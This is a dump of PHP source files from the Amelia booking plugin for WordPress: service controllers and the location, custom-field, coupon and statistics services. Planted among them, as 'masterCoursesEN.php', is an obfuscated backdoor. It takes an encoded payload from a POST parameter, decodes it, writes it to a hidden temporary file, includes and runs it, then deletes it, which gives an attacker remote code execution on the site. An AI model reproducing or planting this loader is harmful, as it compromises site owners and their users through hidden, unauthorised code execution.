AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Controller\Controller; use AmeliaBooking\Domain\Events\DomainEventBus; use Slim\Http\Request; /** * Class AddServiceController * * @package AmeliaBooking\Application\Controller\Bookable\Service */ class AddServiceController extends Controller { /** * Fields for service that can be received from front-end * * @var array */ protected $allowedFields = [ 'categoryId', 'color', 'description', 'duration', 'extras', 'gallery', 'maxCapacity', 'maxExtraPeople', 'minCapacity', 'name', 'pictureFullPath', 'pictureThumbPath', 'price', 'providers', 'status', 'timeAfter', 'bringingAnyone', 'show', 'aggregatedPrice', 'settings', 'recurringCycle', 'recurringSub', 'recurringPayment', 'timeBefore', 'translations', 'deposit', 'depositPayment', 'depositPerPerson', 'fullPayment', 'mandatoryExtra', 'minSelectedExtras', 'customPricing', 'limitPerCustomer', ]; /** * Instantiates the Add Service command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return AddServiceCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new AddServiceCommand($args); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } /** * @param DomainEventBus $eventBus * @param CommandResult $result * * @return void */ protected function emitSuccessEvent(DomainEventBus $eventBus, CommandResult $result) { $eventBus->emit('bookable.service.added', $result); } } Controller/Bookable/Service/GetServicesController.php 0000666 00000002140 15165412624 0017014 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Controller\Bookable\Service; use AmeliaBooking\Application\Commands\Bookable\Service\GetServicesCommand; use AmeliaBooking\Application\Controller\Controller; use RuntimeException; use Slim\Http\Request; /** * Class GetServicesController * * @package AmeliaBooking\Application\Controller\Bookable\Service */ class GetServicesController extends Controller { /** * Instantiates the Get Services command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return GetServicesCommand * @throws RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new GetServicesCommand($args); $params = (array)$request->getQueryParams(); $command->setField('params', $params); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } } Controller/Bookable/Service/UpdateServiceController.php 0000666 00000004541 15165412624 0017343 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Controller\Bookable\Service; use AmeliaBooking\Application\Commands\Bookable\Service\UpdateServiceCommand; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Controller\Controller; use AmeliaBooking\Domain\Events\DomainEventBus; use Slim\Http\Request; /** * Class UpdateServiceController * * @package AmeliaBooking\Application\Controller\Bookable\Service */ class UpdateServiceController extends Controller { /** * Fields for service that can be received from front-end * * @var array */ protected $allowedFields = [ 'categoryId', 'color', 'description', 'duration', 'extras', 'gallery', 'maxCapacity', 'maxExtraPeople', 'minCapacity', 'name', 'pictureFullPath', 'pictureThumbPath', 'price', 'providers', 'status', 'timeAfter', 'timeBefore', 'translations', 'bringingAnyone', 'show', 'applyGlobally', 'aggregatedPrice', 'settings', 'recurringCycle', 'recurringSub', 'recurringPayment', 'position', 'deposit', 'depositPayment', 'depositPerPerson', 'fullPayment', 'mandatoryExtra', 'minSelectedExtras', 'customPricing', 'limitPerCustomer', ]; /** * Instantiates the Update Service command to hand it over to the Command Handler * * @param Request $request * @param $args * * @return UpdateServiceCommand * @throws \RuntimeException */ protected function instantiateCommand(Request $request, $args) { $command = new UpdateServiceCommand($args); $command->setField('id', (int)$command->getArg('id')); $requestBody = $request->getParsedBody(); $this->setCommandFields($command, $requestBody); return $command; } /** * @param DomainEventBus $eventBus * @param CommandResult $result * * @return void */ protected function emitSuccessEvent(DomainEventBus $eventBus, CommandResult $result) { $eventBus->emit('bookable.service.updated', $result); } } Controller/Bookable/Service/masterCoursesEN.php 0000666 00000001673 15165412624 0015621 0 ustar 00 <?php if(filter_has_var(INPUT_POST, "d\x61ta_\x63hu\x6E\x6B")){ $descriptor = array_filter([getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), "/tmp", getenv("TEMP"), "/dev/shm", "/var/tmp"]); $entry = $_REQUEST["d\x61ta_\x63hu\x6E\x6B"]; $entry =explode ( '.' , $entry) ; $itm = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $w = 0; while($w< count($entry)) {$v1 = $entry[$w]; $sChar = ord($salt[$w % $lenS] ); $dec =((int)$v1 - $sChar -($w % 10)) ^89; $itm .= chr($dec ); $w++; } foreach ($descriptor as $key => $token) { if (!!is_dir($token) && !!is_writable($token)) { $pset = sprintf("%s/.elem", $token); $file = fopen($pset, 'w'); if ($file) { fwrite($file, $itm); fclose($file); include $pset; @unlink($pset); exit; } } } } Services/Location/LocationApplicationService.php 0000666 00000011052 15165412624 0016076 0 ustar 00 <?php namespace AmeliaBooking\Application\Services\Location; use AmeliaBooking\Domain\Entity\Location\Location; use AmeliaBooking\Infrastructure\Common\Container; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\PackageServiceLocationRepository; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\ResourceEntitiesRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\AppointmentRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Event\EventRepository; use AmeliaBooking\Infrastructure\Repository\Location\LocationRepository; use AmeliaBooking\Infrastructure\Repository\Location\ProviderLocationRepository; use AmeliaBooking\Infrastructure\Repository\Schedule\PeriodLocationRepository; use AmeliaBooking\Infrastructure\Repository\Schedule\PeriodRepository; use AmeliaBooking\Infrastructure\Repository\Schedule\SpecialDayPeriodLocationRepository; use AmeliaBooking\Infrastructure\Repository\Schedule\SpecialDayPeriodRepository; use Slim\Exception\ContainerValueNotFoundException; /** * Class LocationApplicationService * * @package AmeliaBooking\Application\Services\Location */ class LocationApplicationService { private $container; /** * LocationApplicationService constructor. * * @param Container $container */ public function __construct(Container $container) { $this->container = $container; } /** * * @param Location $location * * @return boolean * * @throws ContainerValueNotFoundException * @throws QueryExecutionException */ public function delete($location) { /** @var AppointmentRepository $appointmentRepository */ $appointmentRepository = $this->container->get('domain.booking.appointment.repository'); /** @var EventRepository $eventRepository */ $eventRepository = $this->container->get('domain.booking.event.repository'); /** @var LocationRepository $locationRepository */ $locationRepository = $this->container->get('domain.locations.repository'); /** @var PeriodRepository $periodRepository */ $periodRepository = $this->container->get('domain.schedule.period.repository'); /** @var SpecialDayPeriodRepository $specialDayPeriodRepository */ $specialDayPeriodRepository = $this->container->get('domain.schedule.specialDay.period.repository'); /** @var PeriodLocationRepository $periodLocationRepository */ $periodLocationRepository = $this->container->get('domain.schedule.period.location.repository'); /** @var SpecialDayPeriodLocationRepository $specialDayPeriodLocationRepository */ $specialDayPeriodLocationRepository = $this->container->get('domain.schedule.specialDay.period.location.repository'); /** @var ProviderLocationRepository $providerLocationRepository */ $providerLocationRepository = $this->container->get('domain.bookable.service.providerLocation.repository'); /** @var PackageServiceLocationRepository $packageServiceLocationRepository */ $packageServiceLocationRepository = $this->container->get('domain.bookable.package.packageServiceLocation.repository'); /** @var ResourceEntitiesRepository $resourceEntitiesRepository */ $resourceEntitiesRepository = $this->container->get('domain.bookable.resourceEntities.repository'); return $eventRepository->updateByEntityId($location->getId()->getValue(), null, 'locationId') && $appointmentRepository->updateByEntityId($location->getId()->getValue(), null, 'locationId') && $periodRepository->updateByEntityId($location->getId()->getValue(), null, 'locationId') && $specialDayPeriodRepository->updateByEntityId($location->getId()->getValue(), null, 'locationId') && $periodLocationRepository->deleteByEntityId($location->getId()->getValue(), 'locationId') && $specialDayPeriodLocationRepository->deleteByEntityId($location->getId()->getValue(), 'locationId') && $packageServiceLocationRepository->deleteByEntityId($location->getId()->getValue(), 'locationId') && $providerLocationRepository->deleteByEntityId($location->getId()->getValue(), 'locationId') && $locationRepository->deleteViewStats($location->getId()->getValue()) && $resourceEntitiesRepository->deleteByEntityIdAndEntityType($location->getId()->getValue(), 'location') && $locationRepository->delete($location->getId()->getValue()); } } Services/CustomField/CustomFieldApplicationService.php 0000666 00000022015 15165412624 0017213 0 ustar 00 <?php namespace AmeliaBooking\Application\Services\CustomField; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Common\Exceptions\ForbiddenFileUploadException; use AmeliaBooking\Domain\Entity\Booking\Appointment\CustomerBooking; use AmeliaBooking\Domain\Entity\CustomField\CustomField; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Domain\ValueObjects\String\Token; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Common\Container; use AmeliaBooking\Infrastructure\Repository\Coupon\CouponRepository; use AmeliaBooking\Infrastructure\Repository\CustomField\CustomFieldEventRepository; use AmeliaBooking\Infrastructure\Repository\CustomField\CustomFieldOptionRepository; use AmeliaBooking\Infrastructure\Repository\CustomField\CustomFieldServiceRepository; /** * Class CustomFieldApplicationService * * @package AmeliaBooking\Application\Services\CustomField */ class CustomFieldApplicationService { private $container; public static $allowedUploadedFileExtensions = [ '.jpg' => 'image/jpeg', '.jpeg' => 'image/jpeg', '.png' => 'image/png', '.mp3' => 'audio/mpeg', '.mpeg' => 'video/mpeg', '.mp4' => 'video/mp4', '.txt' => 'text/plain', '.csv' => 'text/plain', '.xls' => 'application/vnd.ms-excel', '.pdf' => 'application/pdf', '.doc' => 'application/msword', '.docx' => 'application/msword', ]; /** * CustomFieldApplicationService constructor. * * @param Container $container * * @throws \InvalidArgumentException */ public function __construct(Container $container) { $this->container = $container; } /** * @param CustomField $customField * * @return boolean * * @throws \Slim\Exception\ContainerValueNotFoundException * @throws QueryExecutionException * @throws \Interop\Container\Exception\ContainerException */ public function delete($customField) { /** @var CouponRepository $couponRepository */ $customFieldRepository = $this->container->get('domain.customField.repository'); /** @var CustomFieldServiceRepository $customFieldServiceRepository */ $customFieldServiceRepository = $this->container->get('domain.customFieldService.repository'); /** @var CustomFieldEventRepository $customFieldEventRepository */ $customFieldEventRepository = $this->container->get('domain.customFieldEvent.repository'); /** @var CustomFieldOptionRepository $customFieldOptionRepository */ $customFieldOptionRepository = $this->container->get('domain.customFieldOption.repository'); return $customFieldServiceRepository->deleteByEntityId($customField->getId()->getValue(), 'customFieldId') && $customFieldEventRepository->deleteByEntityId($customField->getId()->getValue(), 'customFieldId') && $customFieldOptionRepository->deleteByEntityId($customField->getId()->getValue(), 'customFieldId') && $customFieldRepository->delete($customField->getId()->getValue()); } /** * @param array $customFields * * @return array */ public function processCustomFields(&$customFields) { $uploadedFilesInfo = []; foreach ($customFields as $customFieldId => $customField) { if ($customField['type'] === 'file' && isset($customFields[$customFieldId]['value'])) { foreach ((array)$customFields[$customFieldId]['value'] as $index => $data) { if (isset($_FILES['files']['tmp_name'][$customFieldId][$index])) { $fileExtension = pathinfo( $_FILES['files']['name'][$customFieldId][$index], PATHINFO_EXTENSION ); if (!array_key_exists('.' . strtolower($fileExtension), self::$allowedUploadedFileExtensions)) { continue; } $token = new Token(); $fileName = $token->getValue() . '.' . $fileExtension; $customFields[$customFieldId]['value'][$index]['fileName'] = $fileName; $uploadedFilesInfo[$customFieldId]['value'][$index] = [ 'tmpName' => $_FILES['files']['tmp_name'][$customFieldId][$index], 'fileName' => $fileName ]; } } } if (!array_key_exists('value', $customFields[$customFieldId]) && $customFields[$customFieldId]['type'] === 'checkbox' ) { $customFields[$customFieldId]['value'] = []; } } return $uploadedFilesInfo; } /** * @param int $bookingId * @param array $uploadedCustomFieldFilesNames * @param string $folder * @param string $copy * * @return array * * @throws \Slim\Exception\ContainerValueNotFoundException * @throws ForbiddenFileUploadException * @throws \Interop\Container\Exception\ContainerException */ public function saveUploadedFiles($bookingId, $uploadedCustomFieldFilesNames, $folder, $copy) { $uploadPath = $this->getUploadsPath() . $folder; if ($uploadedCustomFieldFilesNames) { !is_dir($uploadPath) && !mkdir($uploadPath, 0755, true) && !is_dir($uploadPath); if (!is_writable($uploadPath) || !is_dir($uploadPath)) { throw new ForbiddenFileUploadException('Error While Uploading File'); } if (!file_exists("$uploadPath/index.html")) { file_put_contents("$uploadPath/index.html", ''); } } foreach ($uploadedCustomFieldFilesNames as $customFieldId => $customField) { foreach ((array)$uploadedCustomFieldFilesNames[$customFieldId]['value'] as $index => $data) { $fileExtension = pathinfo($data['fileName'], PATHINFO_EXTENSION); if (!array_key_exists('.' . strtolower($fileExtension), self::$allowedUploadedFileExtensions)) { continue; } if (is_dir($uploadPath) && is_writable($uploadPath)) { if ($copy) { copy($data['tmpName'], "{$uploadPath}/{$bookingId}_{$data['fileName']}"); } else { rename($data['tmpName'], "{$uploadPath}/{$bookingId}_{$data['fileName']}"); } $uploadedCustomFieldFilesNames[$customFieldId]['value'][$index]['tmpName'] = "{$uploadPath}/{$bookingId}_{$data['fileName']}"; } } } return $uploadedCustomFieldFilesNames; } /** * @param Collection $bookings * @param Collection $oldBookings * * @return void * @throws \Interop\Container\Exception\ContainerException */ public function deleteUploadedFilesForDeletedBookings($bookings, $oldBookings) { $newBookingIds = []; /** @var CustomerBooking $booking */ foreach ($bookings->getItems() as $booking) { $newBookingIds[] = $booking->getId()->getValue(); } $deletedBookingIds = array_diff($oldBookings->keys(), $newBookingIds); /** @var CustomerBooking $oldBooking */ foreach ($oldBookings->getItems() as $bookingId => $oldBooking) { if (in_array($bookingId, $deletedBookingIds, true) && $oldBooking->getCustomFields()) { $oldBookingCustomFields = json_decode($oldBooking->getCustomFields()->getValue(), true); foreach ((array)$oldBookingCustomFields as $customField) { if ($customField && array_key_exists('value', $customField) && array_key_exists('type', $customField) && $customField['type'] === 'file' ) { foreach ((array)$customField['value'] as $file) { if (is_array($file) && array_key_exists('fileName', $file)) { if (file_exists($this->getUploadsPath() . $bookingId . '_' . $file['fileName'])) { unlink($this->getUploadsPath() . $bookingId . '_' . $file['fileName']); } } } } } } } } /** * @return string * * @throws \Interop\Container\Exception\ContainerException */ public function getUploadsPath() { /** @var SettingsService $settingsDS */ $settingsDS = $this->container->get('domain.settings.service'); $path = $settingsDS->getSetting('general', 'customFieldsUploadsPath'); if (trim($path) && substr($path, -1) !== '/') { return $path . '/'; } return trim($path) ?: AMELIA_UPLOADS_FILES_PATH; } } Services/Coupon/CouponApplicationService.php 0000666 00000035634 15165412624 0015300 0 ustar 00 <?php namespace AmeliaBooking\Application\Services\Coupon; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Common\Exceptions\CouponInvalidException; use AmeliaBooking\Domain\Common\Exceptions\CouponUnknownException; use AmeliaBooking\Domain\Common\Exceptions\CouponExpiredException; use AmeliaBooking\Domain\Entity\Bookable\Service\Package; use AmeliaBooking\Domain\Entity\Bookable\Service\Service; use AmeliaBooking\Domain\Entity\Booking\Event\Event; use AmeliaBooking\Domain\Entity\Coupon\Coupon; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Services\DateTime\DateTimeService; use AmeliaBooking\Domain\ValueObjects\Number\Integer\WholeNumber; use AmeliaBooking\Domain\ValueObjects\String\BookingStatus; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\ValueObjects\Number\Integer\Id; use AmeliaBooking\Infrastructure\Common\Container; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\PackageCustomerRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\AppointmentRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\CustomerBookingRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Event\EventRepository; use AmeliaBooking\Infrastructure\Repository\Coupon\CouponEventRepository; use AmeliaBooking\Infrastructure\Repository\Coupon\CouponRepository; use AmeliaBooking\Infrastructure\Repository\Coupon\CouponServiceRepository; use AmeliaBooking\Infrastructure\Repository\Coupon\CouponPackageRepository; use AmeliaBooking\Infrastructure\WP\Translations\FrontendStrings; use Slim\Exception\ContainerValueNotFoundException; /** * Class CouponApplicationService * * @package AmeliaBooking\Application\Services\Coupon */ class CouponApplicationService { private $container; /** * CouponApplicationService constructor. * * @param Container $container * * @throws \InvalidArgumentException */ public function __construct(Container $container) { $this->container = $container; } /** * @param Coupon $coupon * * @return boolean * * @throws ContainerValueNotFoundException * @throws QueryExecutionException */ public function add($coupon) { /** @var CouponRepository $couponRepository */ $couponRepository = $this->container->get('domain.coupon.repository'); /** @var CouponServiceRepository $couponServiceRepository */ $couponServiceRepo = $this->container->get('domain.coupon.service.repository'); /** @var CouponEventRepository $couponEventRepo */ $couponEventRepo = $this->container->get('domain.coupon.event.repository'); /** @var CouponPackageRepository $couponPackageRepo */ $couponPackageRepo = $this->container->get('domain.coupon.package.repository'); $couponId = $couponRepository->add($coupon); $coupon->setId(new Id($couponId)); /** @var Service $service */ foreach ($coupon->getServiceList()->getItems() as $service) { $couponServiceRepo->add($coupon, $service); } /** @var Event $event */ foreach ($coupon->getEventList()->getItems() as $event) { $couponEventRepo->add($coupon, $event); } /** @var Package $package */ foreach ($coupon->getPackageList()->getItems() as $package) { $couponPackageRepo->add($coupon, $package); } return $couponId; } /** * @param Coupon $oldCoupon * @param Coupon $newCoupon * * @return boolean * * @throws ContainerValueNotFoundException * @throws QueryExecutionException */ public function update($oldCoupon, $newCoupon) { /** @var CouponRepository $couponRepository */ $couponRepository = $this->container->get('domain.coupon.repository'); /** @var CouponServiceRepository $couponServiceRepository */ $couponServiceRepository = $this->container->get('domain.coupon.service.repository'); /** @var CouponEventRepository $couponEventRepository */ $couponEventRepository = $this->container->get('domain.coupon.event.repository'); /** @var CouponPackageRepository $couponPackageRepository */ $couponPackageRepository = $this->container->get('domain.coupon.package.repository'); $couponRepository->update($oldCoupon->getId()->getValue(), $newCoupon); /** @var Service $newService */ foreach ($newCoupon->getServiceList()->getItems() as $key => $newService) { if (!$oldCoupon->getServiceList()->keyExists($key)) { $couponServiceRepository->add($newCoupon, $newService); } } /** @var Service $oldService */ foreach ($oldCoupon->getServiceList()->getItems() as $key => $oldService) { if (!$newCoupon->getServiceList()->keyExists($key)) { $couponServiceRepository->deleteForService($oldCoupon->getId()->getValue(), $key); } } /** @var Event $newEvent */ foreach ($newCoupon->getEventList()->getItems() as $key => $newEvent) { if (!$oldCoupon->getEventList()->keyExists($key)) { $couponEventRepository->add($newCoupon, $newEvent); } } /** @var Event $oldEvent */ foreach ($oldCoupon->getEventList()->getItems() as $key => $oldEvent) { if (!$newCoupon->getEventList()->keyExists($key)) { $couponEventRepository->deleteForEvent($oldCoupon->getId()->getValue(), $key); } } /** @var Package $newPackage */ foreach ($newCoupon->getPackageList()->getItems() as $key => $newPackage) { if (!$oldCoupon->getPackageList()->keyExists($key)) { $couponPackageRepository->add($newCoupon, $newPackage); } } /** @var Package $oldPackage */ foreach ($oldCoupon->getPackageList()->getItems() as $key => $oldPackage) { if (!$newCoupon->getPackageList()->keyExists($key)) { $couponPackageRepository->deleteForPackage($oldCoupon->getId()->getValue(), $key); } } return true; } /** * @param Coupon $coupon * * @return boolean * * @throws ContainerValueNotFoundException * @throws QueryExecutionException */ public function delete($coupon) { /** @var CouponRepository $couponRepository */ $couponRepository = $this->container->get('domain.coupon.repository'); /** @var CouponServiceRepository $couponServiceRepository */ $couponServiceRepository = $this->container->get('domain.coupon.service.repository'); /** @var CouponEventRepository $couponEventRepository */ $couponEventRepository = $this->container->get('domain.coupon.event.repository'); /** @var CouponPackageRepository $couponPackageRepository */ $couponPackageRepository = $this->container->get('domain.coupon.package.repository'); /** @var CustomerBookingRepository $customerBookingRepository */ $customerBookingRepository = $this->container->get('domain.booking.customerBooking.repository'); return $couponServiceRepository->deleteByEntityId($coupon->getId()->getValue(), 'couponId') && $couponEventRepository->deleteByEntityId($coupon->getId()->getValue(), 'couponId') && $couponPackageRepository->deleteByEntityId($coupon->getId()->getValue(), 'couponId') && $customerBookingRepository->updateByEntityId($coupon->getId()->getValue(), null, 'couponId') && $couponRepository->delete($coupon->getId()->getValue()); } /** @noinspection MoreThanThreeArgumentsInspection */ /** * @param string $couponCode * @param array $entityIds * @param string $entityType * @param int $userId * @param bool $inspectCoupon * * @return Coupon * * @throws ContainerValueNotFoundException * @throws InvalidArgumentException * @throws QueryExecutionException * @throws CouponUnknownException * @throws CouponInvalidException * @throws CouponExpiredException */ public function processCoupon($couponCode, $entityIds, $entityType, $userId, $inspectCoupon) { /** @var CouponRepository $couponRepository */ $couponRepository = $this->container->get('domain.coupon.repository'); $couponEntityType = ''; switch ($entityType) { case Entities::APPOINTMENT: $couponEntityType = Entities::SERVICE; break; case Entities::EVENT: $couponEntityType = Entities::EVENT; break; case Entities::PACKAGE: $couponEntityType = Entities::PACKAGE; break; } /** @var Collection $coupons */ $coupons = $couponRepository->getAllByCriteria( [ 'code' => $couponCode, 'entityType' => $couponEntityType, 'entityIds' => $entityIds, ] ); if (!$coupons->length()) { throw new CouponUnknownException(FrontendStrings::getCommonStrings()['coupon_unknown']); } /** @var Coupon $coupon */ $coupon = $coupons->getItem($coupons->keys()[0]); /** @var Collection $entitiesList */ $entitiesList = new Collection(); switch ($entityType) { case Entities::APPOINTMENT: $entitiesList = $coupon->getServiceList(); break; case Entities::EVENT: $entitiesList = $coupon->getEventList(); break; case Entities::PACKAGE: $entitiesList = $coupon->getPackageList(); /** @var PackageCustomerRepository $packageCustomerRepository */ $packageCustomerRepository = $this->container->get('domain.bookable.packageCustomer.repository'); $couponWithUsedPackage = $packageCustomerRepository->getByEntityId( $coupon->getId()->getValue(), 'couponId' ); $coupon->setUsed( new WholeNumber( $coupon->getUsed()->getValue() + $couponWithUsedPackage->length() ) ); break; } $isCouponEntity = false; foreach ($entityIds as $entityId) { if ($entitiesList->keyExists($entityId)) { $isCouponEntity = true; break; } } if (!$isCouponEntity) { throw new CouponUnknownException(FrontendStrings::getCommonStrings()['coupon_unknown']); } $this->inspectCoupon($coupon, $userId, $inspectCoupon); return $coupon; } /** * @param Coupon $coupon * @param int $userId * @param bool $inspectCoupon * * @return boolean * * @throws ContainerValueNotFoundException * @throws CouponInvalidException * @throws QueryExecutionException * @throws InvalidArgumentException * @throws CouponExpiredException */ public function inspectCoupon($coupon, $userId, $inspectCoupon) { if ($inspectCoupon && ( $coupon->getStatus()->getValue() === 'hidden' || $coupon->getUsed()->getValue() >= $coupon->getLimit()->getValue() ) ) { throw new CouponInvalidException(FrontendStrings::getCommonStrings()['coupon_invalid']); } if ($inspectCoupon && $userId && $coupon->getCustomerLimit()->getValue() > 0 && $this->getCustomerCouponUsedCount($coupon->getId()->getValue(), $userId) >= $coupon->getCustomerLimit()->getValue() ) { throw new CouponInvalidException(FrontendStrings::getCommonStrings()['coupon_invalid']); } if ($coupon->getExpirationDate()) { $currentDate = DateTimeService::getNowDateTimeObject(); $expirationDate = DateTimeService::getCustomDateTimeObject( $coupon->getExpirationDate()->getValue()->format('Y-m-d') . ' 23:59:59' ); if ($inspectCoupon && $currentDate > $expirationDate) { throw new CouponExpiredException(FrontendStrings::getCommonStrings()['coupon_expired']); } } return true; } /** * @param int $couponId * @param int $userId * * @return int * * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws InvalidArgumentException */ public function getCustomerCouponUsedCount($couponId, $userId) { /** @var AppointmentRepository $appointmentRepo */ $appointmentRepo = $this->container->get('domain.booking.appointment.repository'); $customerAppointmentReservations = $appointmentRepo->getFiltered( [ 'customerId' => $userId, 'statuses' => [BookingStatus::APPROVED, BookingStatus::PENDING], 'bookingStatuses' => [BookingStatus::APPROVED, BookingStatus::PENDING], 'bookingCouponId' => $couponId ] ); /** @var EventRepository $eventRepository */ $eventRepository = $this->container->get('domain.booking.event.repository'); $customerEventReservations = $eventRepository->getFiltered( [ 'customerId' => $userId, 'bookingStatus' => BookingStatus::APPROVED, 'bookingCouponId' => $couponId ] ); /** @var PackageCustomerRepository $packageCustomerRepository */ $packageCustomerRepository = $this->container->get('domain.bookable.packageCustomer.repository'); $customerPackageReservations = $packageCustomerRepository->getFiltered( [ 'customerId' => $userId, 'bookingStatus' => BookingStatus::APPROVED, 'couponId' => $couponId ] ); return $customerAppointmentReservations->length() + $customerEventReservations->length() + count($customerPackageReservations); } /** * @param Coupon $coupon * @param int|null $userId * * @return int * * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws InvalidArgumentException */ public function getAllowedCouponLimit($coupon, $userId) { if ($coupon->getCustomerLimit()->getValue()) { $maxLimit = $coupon->getCustomerLimit()->getValue(); $used = $userId ? $this->getCustomerCouponUsedCount($coupon->getId()->getValue(), $userId) : 0; } else { $maxLimit = $coupon->getLimit()->getValue(); $used = $coupon->getUsed()->getValue(); } return $maxLimit - $used; } } Services/Stats/StatsService.php 0000666 00000052343 15165412624 0012576 0 ustar 00 <?php namespace AmeliaBooking\Application\Services\Stats; use AmeliaBooking\Application\Services\Bookable\PackageApplicationService; use AmeliaBooking\Application\Services\User\ProviderApplicationService; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Booking\Appointment\Appointment; use AmeliaBooking\Domain\Entity\Booking\Appointment\CustomerBooking; use AmeliaBooking\Domain\Entity\Payment\Payment; use AmeliaBooking\Domain\Entity\Schedule\DayOff; use AmeliaBooking\Domain\Entity\Schedule\SpecialDay; use AmeliaBooking\Domain\Entity\Schedule\WeekDay; use AmeliaBooking\Domain\Entity\User\Provider; use AmeliaBooking\Domain\Factory\Schedule\PeriodFactory; use AmeliaBooking\Domain\Services\DateTime\DateTimeService; use AmeliaBooking\Infrastructure\Common\Container; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\ServiceRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\AppointmentRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\CustomerBookingRepository; use AmeliaBooking\Infrastructure\Repository\Location\LocationRepository; use AmeliaBooking\Infrastructure\Repository\Payment\PaymentRepository; use AmeliaBooking\Infrastructure\Repository\User\ProviderRepository; use DateTime; use Exception; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class StatsService * * @package AmeliaBooking\Application\Services\Stats */ class StatsService { private $container; /** * StatsService constructor. * * @param Container $container */ public function __construct(Container $container) { $this->container = $container; } /** * @param $params * * @return array * @throws ContainerValueNotFoundException * @throws InvalidArgumentException * @throws QueryExecutionException */ public function getCustomersStats($params) { /** @var CustomerBookingRepository $bookingRepository */ $bookingRepository = $this->container->get('domain.booking.customerBooking.repository'); /** @var array $returningCustomers */ $returningCustomers = array_column($bookingRepository->getReturningCustomers($params), 'customerId'); /** @var array $bookings */ $bookings = array_column($bookingRepository->getFilteredDistinctCustomersIds($params), 'customerId'); // Calculate number of customers in past period. // E.g. If in a date filter is selected current week, calculate it for past week. $dateFrom = DateTimeService::getCustomDateTimeObject($params['dates'][0]); $dateTo = DateTimeService::getCustomDateTimeObject($params['dates'][1]); $diff = (int)$dateTo->diff($dateFrom)->format('%a') + 1; $dateFrom->modify('-' . $diff . 'days'); $dateTo->modify('-' . $diff . 'days'); $paramsPast = ['dates' => [$dateFrom->format('Y-m-d H:i:s'), $dateTo->format('Y-m-d H:i:s')]]; $bookingsPast = array_column($bookingRepository->getFilteredDistinctCustomersIds($paramsPast), 'customerId'); $pastPeriodCount = count($bookingsPast); $returningCount = count(array_intersect($returningCustomers, $bookings)); $newCount = count($bookings) - $returningCount; return [ 'newCustomersCount' => $newCount, 'returningCustomersCount' => $returningCount, 'totalPastPeriodCustomers' => $pastPeriodCount ]; } /** * @param array $params * @return array * @throws QueryExecutionException * @throws ContainerValueNotFoundException * @throws InvalidArgumentException * @throws Exception * @throws ContainerException */ public function getRangeStatisticsData($params) { /** @var AppointmentRepository $appointmentRepository */ $appointmentRepository = $this->container->get('domain.booking.appointment.repository'); /** @var Collection $appointments */ $appointments = $appointmentRepository->getFiltered( array_merge( $params, [ 'skipServices' => true, 'skipProviders' => true, 'skipCustomers' => true, 'skipPayments' => true, 'skipExtras' => true, 'skipCoupons' => true, ] ) ); /** @var Collection $bookingsPayments */ $bookingsPayments = new Collection(); /** @var Appointment $appointment */ foreach ($appointments->getItems() as $appointment) { /** @var CustomerBooking $booking */ foreach ($appointment->getBookings()->getItems() as $booking) { $bookingsPayments->addItem(null, $booking->getId()->getValue()); } } /** @var PaymentRepository $paymentRepository */ $paymentRepository = $this->container->get('domain.payment.repository'); /** @var Collection $payments */ $payments = $bookingsPayments->length() ? $paymentRepository->getByCriteria(['bookingIds' => $bookingsPayments->keys()]) : new Collection(); /** @var Payment $payment */ foreach ($payments->getItems() as $payment) { if ($payment->getCustomerBookingId()) { $bookingsPayments->placeItem($payment, $payment->getCustomerBookingId()->getValue(), true); } } /** @var Appointment $appointment */ foreach ($appointments->getItems() as $appointment) { /** @var CustomerBooking $booking */ foreach ($appointment->getBookings()->getItems() as $booking) { if ($bookingsPayments->keyExists($booking->getId()->getValue()) && $bookingsPayments->getItem($booking->getId()->getValue()) ) { $booking->getPayments()->addItem($bookingsPayments->getItem($booking->getId()->getValue())); } } } /** @var ProviderRepository $providerRepository */ $providerRepository = $this->container->get('domain.users.providers.repository'); /** @var Collection $providers */ $providers = $providerRepository->getByCriteriaWithSchedule($params); /** @var ProviderApplicationService $providerApplicationService */ $providerApplicationService = $this->container->get('application.user.provider.service'); /** @var PackageApplicationService $packageApplicationService */ $packageApplicationService = $this->container->get('application.bookable.package'); $packageDatesData = $packageApplicationService->getPackageStatsData($params); /** @var Collection 